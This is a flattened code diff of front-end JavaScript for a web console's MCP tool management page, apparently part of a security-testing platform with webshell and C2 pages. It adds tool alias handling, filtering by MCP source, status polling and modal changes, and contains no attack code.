window.toggleRoleSelectionPanel = toggleRoleSelectionPanel; window.toggleRoleSelectionPanel = toggleRoleSelectionPanel;
window.closeRoleSelectionPanel = closeRoleSelectionPanel; window.closeRoleSelectionPanel = closeRoleSelectionPanel;
window.closeRoleSelectModal = closeRoleSelectModal;
window.filterRoleToolsByStatus = filterRoleToolsByStatus; window.filterRoleToolsByStatus = filterRoleToolsByStatus;
window.currentSelectedRole = getCurrentRole(); window.currentSelectedRole = getCurrentRole();
+19 -11
View File
@@ -315,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
async function initPage(pageId) { async function initPage(pageId) {
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key // 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
if (window.i18nReady) await window.i18nReady; if (window.i18nReady) await window.i18nReady;
if (typeof stopExternalMcpPoll === 'function') {
stopExternalMcpPoll();
}
switch(pageId) { switch(pageId) {
case 'dashboard': case 'dashboard':
if (typeof refreshDashboard === 'function') { if (typeof refreshDashboard === 'function') {
@@ -372,21 +375,26 @@ async function initPage(pageId) {
}, 100); }, 100);
} }
}; };
// 先拉取全局配置,确保 tool_search 常驻状态按后端生效集合展示 const afterMcpConfigReady = () => {
startLoadMcpTools();
if (typeof loadExternalMCPs === 'function') {
loadExternalMCPs().catch(err => {
console.warn('加载外部MCP列表失败:', err);
});
}
if (typeof startExternalMcpPoll === 'function') {
startExternalMcpPoll();
}
};
// 先拉取配置(含 tool_search 常驻列表),再加载工具与外部 MCP
if (typeof loadConfig === 'function') { if (typeof loadConfig === 'function') {
loadConfig(false) loadConfig(false)
.catch(err => { .catch(err => {
console.warn('加载配置失败(将继续加载工具列表):', err); console.warn('加载配置失败(将继续加载 MCP 列表):', err);
}) })
.finally(startLoadMcpTools); .finally(afterMcpConfigReady);
} else { } else {
startLoadMcpTools(); afterMcpConfigReady();
}
// 先加载外部MCP列表(快速),然后加载工具列表
if (typeof loadExternalMCPs === 'function') {
loadExternalMCPs().catch(err => {
console.warn('加载外部MCP列表失败:', err);
});
} }
break; break;
case 'projects': case 'projects':
@@ -497,7 +505,7 @@ document.addEventListener('DOMContentLoaded', function() {
let pageId = hashParts[0]; let pageId = hashParts[0];
if (pageId === 'c2') pageId = 'c2-listeners'; if (pageId === 'c2') pageId = 'c2-listeners';
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) { if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
switchPage(pageId); switchPage(pageId);
if (pageId === 'chat') { if (pageId === 'chat') {
scheduleChatConversationFromHash(200); scheduleChatConversationFromHash(200);
+293 -94
View File
@@ -16,6 +16,96 @@ function getToolKey(tool) {
} }
return tool.name; return tool.name;
} }
// 常驻工具配置存储键(外部工具用 mcp::tool,与后端 tool_search 白名单一致)
function getAlwaysVisibleStorageKey(tool) {
return getToolKey(tool);
}
function addAlwaysVisibleAliases(name) {
const n = (name || '').trim();
if (!n) return;
alwaysVisibleToolNames.add(n);
if (n.includes('::')) {
const sep = n.indexOf('::');
const mcp = n.slice(0, sep);
const tool = n.slice(sep + 2);
if (mcp && tool) {
alwaysVisibleToolNames.add(`${mcp}__${tool}`);
}
return;
}
if (n.includes('__')) {
const sep = n.lastIndexOf('__');
const mcp = n.slice(0, sep);
const tool = n.slice(sep + 2);
if (mcp && tool) {
alwaysVisibleToolNames.add(`${mcp}::${tool}`);
}
}
}
function removeAlwaysVisibleAliases(name) {
const n = (name || '').trim();
if (!n) return;
alwaysVisibleToolNames.delete(n);
if (n.includes('::')) {
const sep = n.indexOf('::');
const mcp = n.slice(0, sep);
const tool = n.slice(sep + 2);
if (mcp && tool) {
alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
}
return;
}
if (n.includes('__')) {
const sep = n.lastIndexOf('__');
const mcp = n.slice(0, sep);
const tool = n.slice(sep + 2);
if (mcp && tool) {
alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
}
}
}
function isToolAlwaysVisible(tool) {
const key = getAlwaysVisibleStorageKey(tool);
if (alwaysVisibleToolNames.has(key)) return true;
if (alwaysVisibleToolNames.has(tool.name)) return true;
if (tool.is_external && tool.external_mcp) {
if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
}
return false;
}
function isToolAlwaysVisibleBuiltin(tool) {
if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
}
function getAlwaysVisibleForSave() {
const out = new Set();
for (const name of alwaysVisibleToolNames) {
if (alwaysVisibleBuiltinToolNames.has(name)) continue;
if (name.includes('::')) {
out.add(name);
continue;
}
if (name.includes('__')) {
const sep = name.lastIndexOf('__');
const mcp = name.slice(0, sep);
const tool = name.slice(sep + 2);
if (mcp && tool) out.add(`${mcp}::${tool}`);
continue;
}
out.add(name);
}
return Array.from(out);
}
function countUserAlwaysVisibleTools() {
return getAlwaysVisibleForSave().length;
}
// 从localStorage读取每页显示数量,默认为20 // 从localStorage读取每页显示数量,默认为20
const getToolsPageSize = () => { const getToolsPageSize = () => {
const saved = localStorage.getItem('toolsPageSize'); const saved = localStorage.getItem('toolsPageSize');
@@ -158,14 +248,21 @@ async function loadConfig(loadTools = true) {
} }
currentConfig = await response.json(); currentConfig = await response.json();
const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools; const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []); const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
alwaysVisibleBuiltinToolNames = new Set( alwaysVisibleToolNames = new Set();
alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured) if (Array.isArray(alwaysVisibleConfigured)) {
? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name)) alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
: [] }
); alwaysVisibleBuiltinToolNames = new Set();
if (Array.isArray(alwaysVisibleEffective)) {
const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
alwaysVisibleEffective.filter(Boolean).forEach(name => {
if (!configuredSet.has(name)) {
alwaysVisibleBuiltinToolNames.add(name);
}
});
}
// 填充OpenAI配置 // 填充OpenAI配置
const providerEl = document.getElementById('openai-provider'); const providerEl = document.getElementById('openai-provider');
@@ -442,8 +539,11 @@ let toolsSearchKeyword = '';
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用 // 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
let toolsStatusFilter = ''; let toolsStatusFilter = '';
// 按外部 MCP 来源筛选(点击左侧卡片时设置)
let toolsExternalMcpFilter = '';
// 加载工具列表(分页) // 加载工具列表(分页)
async function loadToolsList(page = 1, searchKeyword = '') { async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符 // 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
if (window.i18nReady) await window.i18nReady; if (window.i18nReady) await window.i18nReady;
const toolsList = document.getElementById('tools-list'); const toolsList = document.getElementById('tools-list');
@@ -466,6 +566,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
if (toolsStatusFilter !== '') { if (toolsStatusFilter !== '') {
url += `&enabled=${toolsStatusFilter}`; url += `&enabled=${toolsStatusFilter}`;
} }
if (options.refreshExternal) {
url += '&refresh_external=true';
}
if (toolsExternalMcpFilter) {
url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
}
// 使用较短的超时时间(10秒),避免长时间等待 // 使用较短的超时时间(10秒),避免长时间等待
const controller = new AbortController(); const controller = new AbortController();
@@ -486,6 +592,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
page: result.page || page, page: result.page || page,
pageSize: result.page_size || pageSize, pageSize: result.page_size || pageSize,
total: result.total || 0, total: result.total || 0,
totalEnabled: result.total_enabled ?? 0,
totalPages: result.total_pages || 1 totalPages: result.total_pages || 1
}; };
@@ -504,6 +611,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
renderToolsList(); renderToolsList();
renderToolsPagination(); renderToolsPagination();
renderExternalMcpFilterChip();
updateExternalMcpCardSelection();
} catch (error) { } catch (error) {
console.error('加载工具列表失败:', error); console.error('加载工具列表失败:', error);
if (toolsList) { if (toolsList) {
@@ -622,8 +731,8 @@ function renderToolsList() {
is_external: tool.is_external || false, is_external: tool.is_external || false,
external_mcp: tool.external_mcp || '' external_mcp: tool.external_mcp || ''
}; };
const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name); const alwaysVisibleChecked = isToolAlwaysVisible(tool);
const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name); const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片) // 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
let externalBadge = ''; let externalBadge = '';
@@ -648,7 +757,7 @@ function renderToolsList() {
${escapeHtml(tool.name)} ${escapeHtml(tool.name)}
${externalBadge} ${externalBadge}
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()"> <label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" /> <input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span> <span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
</label> </label>
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''} ${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
@@ -763,8 +872,7 @@ function scrollToExternalMCP(mcpName, event) {
event.stopPropagation(); event.stopPropagation();
const items = document.querySelectorAll('.external-mcp-item'); const items = document.querySelectorAll('.external-mcp-item');
for (const item of items) { for (const item of items) {
const h4 = item.querySelector('h4'); if (item.dataset.mcpName === mcpName) {
if (h4 && h4.textContent.includes(mcpName)) {
item.scrollIntoView({ behavior: 'smooth', block: 'center' }); item.scrollIntoView({ behavior: 'smooth', block: 'center' });
item.classList.add('highlight'); item.classList.add('highlight');
setTimeout(() => item.classList.remove('highlight'), 2000); setTimeout(() => item.classList.remove('highlight'), 2000);
@@ -773,6 +881,94 @@ function scrollToExternalMCP(mcpName, event) {
} }
} }
// 点击左侧外部 MCP 卡片,筛选并定位右侧工具列表
async function scrollToExternalMCPTools(mcpName, event) {
if (event) {
if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
return;
}
event.stopPropagation();
}
if (toolsExternalMcpFilter === mcpName) {
await clearExternalMcpFilter();
return;
}
toolsExternalMcpFilter = mcpName;
updateExternalMcpCardSelection();
renderExternalMcpFilterChip();
await loadToolsList(1, toolsSearchKeyword);
requestAnimationFrame(() => {
highlightExternalMcpTools(mcpName);
});
}
function highlightExternalMcpTools(mcpName) {
const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
if (toolsList) {
toolsList.scrollTop = 0;
}
document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
el.classList.remove('highlight');
});
const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
const matchingTools = document.querySelectorAll(selector);
if (matchingTools.length === 0) {
return;
}
matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
matchingTools.forEach(el => {
el.classList.add('highlight');
setTimeout(() => el.classList.remove('highlight'), 2000);
});
}
async function clearExternalMcpFilter() {
toolsExternalMcpFilter = '';
updateExternalMcpCardSelection();
renderExternalMcpFilterChip();
await loadToolsList(1, toolsSearchKeyword);
}
function updateExternalMcpCardSelection() {
document.querySelectorAll('.external-mcp-item').forEach(item => {
item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
});
}
function renderExternalMcpFilterChip() {
let chip = document.getElementById('tools-source-filter-chip');
const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
if (!toolsActions) {
return;
}
if (!chip) {
chip = document.createElement('div');
chip.id = 'tools-source-filter-chip';
chip.className = 'tools-source-filter-chip';
toolsActions.appendChild(chip);
}
if (!toolsExternalMcpFilter) {
chip.style.display = 'none';
chip.innerHTML = '';
return;
}
const t = typeof window.t === 'function' ? window.t : (k) => k;
chip.style.display = 'inline-flex';
chip.innerHTML = `
<span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
<button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
`;
}
// 渲染工具列表分页控件 // 渲染工具列表分页控件
function renderToolsPagination() { function renderToolsPagination() {
const toolsList = document.getElementById('tools-list'); const toolsList = document.getElementById('tools-list');
@@ -847,14 +1043,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
updateToolsStats(); updateToolsStats();
} }
function handleToolAlwaysVisibleChange(toolName, alwaysVisible) { function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
const name = (toolName || '').trim(); const key = (toolKey || '').trim();
if (!name) return; if (!key) return;
if (alwaysVisible) { if (alwaysVisible) {
alwaysVisibleToolNames.add(name); addAlwaysVisibleAliases(key);
} else { } else {
alwaysVisibleToolNames.delete(name); removeAlwaysVisibleAliases(key);
} }
updateToolsStats();
} }
// 全选工具 // 全选工具
@@ -964,60 +1161,22 @@ async function updateToolsStats() {
return checkbox ? checkbox.checked : tool.enabled; return checkbox ? checkbox.checked : tool.enabled;
}).length; }).length;
} else { } else {
// 没有搜索时,需要获取所有工具的状态 // 使用服务端统计,避免为统计翻页触发多次外部 MCP ListTools
// 先使用全局状态映射和当前页的checkbox状态 totalEnabled = toolsPagination.totalEnabled ?? 0;
const localStateMap = new Map(); if (toolStateMap.size > 0) {
let delta = 0;
// 从当前页的checkbox获取状态(如果全局映射中没有) allTools.forEach(tool => {
allTools.forEach(tool => { const toolKey = getToolKey(tool);
const toolKey = getToolKey(tool); const savedState = toolStateMap.get(toolKey);
const savedState = toolStateMap.get(toolKey); if (savedState === undefined) {
if (savedState !== undefined) { return;
localStateMap.set(toolKey, savedState.enabled);
} else {
const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
const checkbox = document.getElementById(checkboxId);
if (checkbox) {
localStateMap.set(toolKey, checkbox.checked);
} else {
// 如果checkbox不存在(不在当前页),使用工具原始状态
localStateMap.set(toolKey, tool.enabled);
} }
} if (savedState.enabled !== tool.enabled) {
}); delta += savedState.enabled ? 1 : -1;
// 如果总工具数大于当前页,需要获取所有工具的状态
if (totalTools > allTools.length) {
// 遍历所有页面获取完整状态
let page = 1;
let hasMore = true;
const pageSize = 100; // 使用较大的页面大小以减少请求次数
while (hasMore && page <= 10) { // 限制最多10页,避免无限循环
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
const pageResponse = await apiFetch(url);
if (!pageResponse.ok) break;
const pageResult = await pageResponse.json();
pageResult.tools.forEach(tool => {
// 优先使用全局状态映射,否则使用服务器返回的状态
const toolKey = getToolKey(tool);
if (!localStateMap.has(toolKey)) {
const savedState = toolStateMap.get(toolKey);
localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
}
});
if (page >= pageResult.total_pages) {
hasMore = false;
} else {
page++;
} }
} });
totalEnabled = Math.max(0, totalEnabled + delta);
} }
// 计算启用的工具数
totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
} }
} catch (error) { } catch (error) {
console.warn('获取工具统计失败,使用当前页数据', error); console.warn('获取工具统计失败,使用当前页数据', error);
@@ -1027,7 +1186,7 @@ async function updateToolsStats() {
} }
const tStats = typeof window.t === 'function' ? window.t : (k) => k; const tStats = typeof window.t === 'function' ? window.t : (k) => k;
const pinnedCount = alwaysVisibleToolNames.size; const pinnedCount = countUserAlwaysVisibleTools();
statsEl.innerHTML = ` statsEl.innerHTML = `
<span title="${tStats('mcp.currentPageEnabled')}"> ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span> <span title="${tStats('mcp.currentPageEnabled')}"> ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span> <span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
@@ -1535,7 +1694,7 @@ async function saveToolsConfig() {
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single', robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true, batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0), plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name)) tool_search_always_visible_tools: getAlwaysVisibleForSave()
}, },
tools: [] tools: []
}; };
@@ -1732,6 +1891,32 @@ async function fetchExternalMCPs() {
return response.json(); return response.json();
} }
// MCP 管理页定时刷新外部 MCP 状态(感知后台断连/自动重连)
let externalMcpPollTimer = null;
const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
function startExternalMcpPoll() {
stopExternalMcpPoll();
externalMcpPollTimer = setInterval(function () {
const mcpPage = document.getElementById('page-mcp-management');
if (!mcpPage || !mcpPage.classList.contains('active')) {
stopExternalMcpPoll();
return;
}
if (document.hidden) {
return;
}
loadExternalMCPs().catch(function () { /* ignore */ });
}, EXTERNAL_MCP_POLL_INTERVAL_MS);
}
function stopExternalMcpPoll() {
if (externalMcpPollTimer) {
clearInterval(externalMcpPollTimer);
externalMcpPollTimer = null;
}
}
// 加载外部MCP列表并渲染 // 加载外部MCP列表并渲染
async function loadExternalMCPs() { async function loadExternalMCPs() {
try { try {
@@ -1750,6 +1935,13 @@ async function loadExternalMCPs() {
} }
} }
async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
if (typeof loadToolsList === 'function') {
const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
}
}
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟) // 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count // name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
async function pollExternalMCPToolCount(name, maxAttempts = 10) { async function pollExternalMCPToolCount(name, maxAttempts = 10) {
@@ -1768,6 +1960,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
console.warn('轮询工具数量失败:', e); console.warn('轮询工具数量失败:', e);
} }
} }
await reloadMcpToolsAfterExternalChange(true);
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') { if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
window.refreshMentionTools(); window.refreshMentionTools();
} }
@@ -1802,8 +1995,15 @@ function renderExternalMCPList(servers) {
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http'); const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐'; const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
const hasTools = server.tool_count !== undefined && server.tool_count > 0;
const cardClickTitle = hasTools
? escapeHtml(statusT('mcp.clickToViewTools', { name }))
: '';
const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
html += ` html += `
<div class="external-mcp-item"> <div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
<div class="external-mcp-item-header"> <div class="external-mcp-item-header">
<div class="external-mcp-item-info"> <div class="external-mcp-item-info">
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4> <h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
@@ -1822,9 +2022,9 @@ function renderExternalMCPList(servers) {
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button> <button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
</div> </div>
</div> </div>
${status === 'error' && server.error ? ` ${(status === 'error' || status === 'disconnected') && server.error ? `
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;"> <div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
<strong> ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)} <strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
</div>` : ''} </div>` : ''}
<div class="external-mcp-item-details"> <div class="external-mcp-item-details">
<div> <div>
@@ -1866,6 +2066,7 @@ function renderExternalMCPList(servers) {
} }
html += '</div>'; html += '</div>';
list.innerHTML = html; list.innerHTML = html;
updateExternalMcpCardSelection();
} }
// 渲染外部MCP统计信息 // 渲染外部MCP统计信息
@@ -1895,47 +2096,42 @@ function showAddExternalMCPModal() {
document.getElementById('external-mcp-json-error').style.display = 'none'; document.getElementById('external-mcp-json-error').style.display = 'none';
document.getElementById('external-mcp-json-error').textContent = ''; document.getElementById('external-mcp-json-error').textContent = '';
document.getElementById('external-mcp-json').classList.remove('error'); document.getElementById('external-mcp-json').classList.remove('error');
document.getElementById('external-mcp-modal').style.display = 'block'; openAppModal('external-mcp-modal');
} }
// 关闭外部MCP模态框 // 关闭外部MCP模态框
function closeExternalMCPModal() { function closeExternalMCPModal() {
document.getElementById('external-mcp-modal').style.display = 'none'; closeAppModal('external-mcp-modal');
currentEditingMCPName = null; currentEditingMCPName = null;
} }
// 编辑外部MCP // 编辑外部MCP
async function editExternalMCP(name) { async function editExternalMCP(name) {
try { try {
currentEditingMCPName = name;
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
document.getElementById('external-mcp-json').value = '';
document.getElementById('external-mcp-json-error').style.display = 'none';
document.getElementById('external-mcp-json-error').textContent = '';
document.getElementById('external-mcp-json').classList.remove('error');
openAppModal('external-mcp-modal', { focus: false });
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`); const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
if (!response.ok) { if (!response.ok) {
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败'); throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
} }
const server = await response.json(); const server = await response.json();
currentEditingMCPName = name;
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
// 将配置转换为对象格式(key为名称)
const config = { ...server.config }; const config = { ...server.config };
// 移除tool_count、external_mcp_enable等前端字段,但保留enabled/disabled用于向后兼容
delete config.tool_count; delete config.tool_count;
delete config.external_mcp_enable; delete config.external_mcp_enable;
// 包装成对象格式:{ "name": { config } }
const configObj = {}; const configObj = {};
configObj[name] = config; configObj[name] = config;
// 格式化JSON
const jsonStr = JSON.stringify(configObj, null, 2); const jsonStr = JSON.stringify(configObj, null, 2);
document.getElementById('external-mcp-json').value = jsonStr; deferModalContent(() => {
document.getElementById('external-mcp-json-error').style.display = 'none'; document.getElementById('external-mcp-json').value = jsonStr;
document.getElementById('external-mcp-json-error').textContent = ''; document.getElementById('external-mcp-json')?.focus();
document.getElementById('external-mcp-json').classList.remove('error'); });
document.getElementById('external-mcp-modal').style.display = 'block';
} catch (error) { } catch (error) {
closeExternalMCPModal();
console.error('编辑外部MCP失败:', error); console.error('编辑外部MCP失败:', error);
alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message); alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message);
} }
@@ -2226,6 +2422,7 @@ async function toggleExternalMCP(name, currentStatus) {
} }
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟) // 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
pollExternalMCPToolCount(name, 10); pollExternalMCPToolCount(name, 10);
await reloadMcpToolsAfterExternalChange(true);
return; return;
} }
} }
@@ -2238,6 +2435,7 @@ async function toggleExternalMCP(name, currentStatus) {
} else { } else {
// 停止操作,直接刷新 // 停止操作,直接刷新
await loadExternalMCPs(); await loadExternalMCPs();
await reloadMcpToolsAfterExternalChange(false);
// 刷新对话界面的工具列表 // 刷新对话界面的工具列表
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') { if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
window.refreshMentionTools(); window.refreshMentionTools();
@@ -2289,6 +2487,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
} }
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟) // 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
pollExternalMCPToolCount(name, 10); pollExternalMCPToolCount(name, 10);
await reloadMcpToolsAfterExternalChange(true);
return; return;
} else if (status === 'error' || status === 'disconnected') { } else if (status === 'error' || status === 'disconnected') {
// 连接失败,刷新列表并显示错误 // 连接失败,刷新列表并显示错误
+40 -40
View File
@@ -40,7 +40,7 @@ function shouldSkipSkillsAutoRefresh() {
} }
const modal = document.getElementById('skill-modal'); const modal = document.getElementById('skill-modal');
if (modal && modal.style.display === 'flex') { if (modal && isAppModalOpen('skill-modal')) {
return true; return true;
} }
@@ -465,7 +465,7 @@ function showAddSkillModal() {
const addTa = document.getElementById('skill-content-add'); const addTa = document.getElementById('skill-content-add');
if (addTa) addTa.value = ''; if (addTa) addTa.value = '';
modal.style.display = 'flex'; openAppModal('skill-modal');
} }
function skillPackagePathDepth(path) { function skillPackagePathDepth(path) {
@@ -555,6 +555,22 @@ async function selectSkillPackageFile(skillId, path, opts) {
// 编辑skill // 编辑skill
async function editSkill(skillId) { async function editSkill(skillId) {
wireSkillModalOnce(); wireSkillModalOnce();
const modal = document.getElementById('skill-modal');
if (!modal) return;
skillModalAddMode = false;
skillFileDirty = false;
skillActivePath = 'SKILL.md';
const pkg = document.getElementById('skill-package-editor');
const addEd = document.getElementById('skill-add-editor');
if (pkg) pkg.style.display = 'block';
if (addEd) addEd.style.display = 'none';
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
document.getElementById('skill-name').value = '';
